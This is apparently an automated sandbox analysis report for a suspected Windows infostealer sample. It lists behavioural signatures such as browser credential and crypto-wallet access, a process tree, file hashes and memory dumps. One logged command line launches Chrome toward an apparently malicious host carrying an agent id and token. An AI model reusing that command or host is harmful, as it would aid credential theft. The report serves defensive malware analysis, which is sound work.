Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 02:57

General

  • Target
    4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe
  • Size 3.1MB
  • Sample260802-dfnxeack2w
  • SHA256 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe
    "C:\Users\Admin\AppData\Local\Temp\4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4244
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" bizsmmit.cyou/api/set_agent?id=278F019EBD24956701AEC7B30ADF174C&token=9f40af14eed44883290b42e5ef16be553bbdc3&description=&agent=Chrome
      2⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4460
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffcfc82c728,0x7ffcfc82c734,0x7ffcfc82c740
        3⤵
          PID:4880
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1936,i,5604218980150155270,17369674032585771869,524288 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=2044 /prefetch:11
          3⤵
          • System Time Discovery
          PID:1384
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1672,i,15570599554934427370,15023258644985322179,262144 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:2
          3⤵
            PID:6072
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2336,i,6908237567701418058,10819182935043852517,524288 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:13
            3⤵
              PID:5020
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3148,i,7765397822749469578,9707980749384177521,2097152 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1
              3⤵
                PID:764
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3156,i,1084380253095757590,8315385912148523995,2097152 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:1
                3⤵
                  PID:1052
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3648,i,9057672700921178289,10932857054152362545,524288 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=4584 /prefetch:14
                  3⤵
                    PID:2496
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4748,i,12339648897738498487,3556891979349038217,524288 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:12
                    3⤵
                      PID:5784
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:3612

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        SCT Auditing Pending Reports

                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                        • Size 2B
                        • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                        • MD5 SHA1 SHA512

                        TransportSecurity

                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                        • Size 523B
                        • SHA256 cbe4576be45a38f26b507f0aba5899700aa95d2e5e04376788b4c81cb17ce1bc
                        • MD5 SHA1 SHA512 TLSH

                        Last Version

                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                        • Size 13B
                        • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                        • MD5 SHA1 SHA512

                        Local State

                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                        • Size 4KB
                        • SHA256 1c31b2891b2ba6963c2f5c031ce84fd23e2aa1c70d9fb740139d88b752bf87b7
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/4244-42-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-38-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-47-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-46-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-52-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-51-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-50-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-49-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-45-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-44-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-43-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-0-0x0000000021940000-0x00000000219A1000-memory.dmp

                        memory/4244-41-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-30-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-37-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-36-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-34-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-33-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-29-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-27-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-48-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-40-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-39-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-35-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-31-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-32-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-28-0x0000000023780000-0x0000000023781000-memory.dmp

                        memory/4244-26-0x0000000021940000-0x00000000219A1000-memory.dmp